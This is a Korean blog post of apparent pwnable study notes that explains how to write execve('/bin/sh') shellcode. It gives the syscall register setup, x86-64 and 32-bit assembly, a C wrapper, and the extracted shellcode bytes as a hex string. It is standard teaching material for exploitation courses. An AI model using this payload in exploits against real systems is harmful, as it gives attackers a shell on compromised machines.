[Exploit] execve shell code

2024. 1. 27. 13:46·Hacking/Pwnable
728x90
반응형

shell : 운영체제에 명령을 내리기 위해 사용되는 사용자 인터페이스

kernel : 운영체제의 핵심 기능을 하는 프로그램

 

출처 : https://m.blog.naver.com/powerlinedd/221700960900

 

shell 획득 → 시스템 제어 → 시스템 해킹 성공

execve shell code

임의의 프로그램을 실행하는 shell code → 서버의 shell을 획득할 수 있음

 

execve("/bin/sh", null, null)

syscall rax arg0 (rdi) arg1 (rsi) arg2 (rdx)
execve 0x3b const char *filename const char *const *argv const char *const *envp

 

  • rax : 0x3b
  • rdi : "/bin/sh"
  • rsi : NULL
  • rdx : NULL

* NULL : xor register register

;Name: execve.S

mov rax, 0x68732f6e69622f
push rax
mov rdi, rsp  ; rdi = "/bin/sh\x00"
xor rsi, rsi  ; rsi = NULL
xor rdx, rdx  ; rdx = NULL
mov rax, 0x3b ; rax = sys_execve
syscall       ; execve("/bin/sh", null, null)

> 구현한 어셈블리 코드


execve shell code compile 

__asm__(
    ".global run_sh\n"
    "run_sh:\n"

    "mov rax, 0x68732f6e69622f\n"
    "push rax\n"
    "mov rdi, rsp  # rdi = '/bin/sh'\n"
    "xor rsi, rsi  # rsi = NULL\n"
    "xor rdx, rdx  # rdx = NULL\n"
    "mov rax, 0x3b # rax = sys_execve\n"
    "syscall       # execve('/bin/sh', null, null)\n"

    "xor rdi, rdi   # rdi = 0\n"
    "mov rax, 0x3c      # rax = sys_exit\n"
    "syscall        # exit(0)");
    
void run_sh();

int main() { run_sh(); }

실행 결과

 


shellcode 추출

; File name: shellcode.asm
section .text
global _start
_start:
xor    eax, eax
push   eax
push   0x68732f2f
push   0x6e69622f
mov    ebx, esp
xor    ecx, ecx
xor    edx, edx
mov    al, 0xb
int    0x80

> shellcode.asm

 

shellcode.o
shellcode.bin

# execve /bin/sh shellcode: 
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"

 

reference

- Dreamhack SystemHacking > ExploitTech : Shellcode

728x90
반응형

'Hacking > Pwnable' 카테고리의 다른 글

[Mitigation] Stack Canary  (0) 2024.08.24
gdb를 pwntools와 디버깅하기  (0) 2024.07.26
[ Domato ] 사용법  (5) 2024.05.18
[Memory Corruption] Stack Buffer Overflow  (1) 2024.01.29
[Exploit] orw shell code  (2) 2024.01.26
'Hacking/Pwnable' 카테고리의 다른 글
  • gdb를 pwntools와 디버깅하기
  • [ Domato ] 사용법
  • [Memory Corruption] Stack Buffer Overflow
  • [Exploit] orw shell code
min_zu
min_zu
  • min_zu
    민주제도
    min_zu
  • 전체
    오늘
    어제
    • ._. (176)
      • AI (2)
        • DeepLearning (2)
        • CS231n (0)
      • Web (2)
        • ReactJS (0)
      • CS (83)
        • OS (7)
        • Data Structure (23)
        • Computer Architecture (8)
        • Computer Network (20)
        • Algorithm (25)
      • Linux (3)
        • KaliLinux (0)
        • Docker (1)
      • Hacking (83)
        • Write Up (25)
        • Pwnable (13)
        • Reversing (2)
        • Cryptography (12)
        • Web Hacking (4)
        • Window (6)
        • Network (7)
        • Web3 (13)
  • 블로그 메뉴

    • 홈
    • 태그
    • 방명록
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    WinAFL
    Sort
    AI
    UTM
    Linux
    ComputerArchitecture
    Web
    DataStructure
    Mac
    Tree
    Graph
    DeepLearning
    Search
    OS
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.0
min_zu
[Exploit] execve shell code
상단으로

티스토리툴바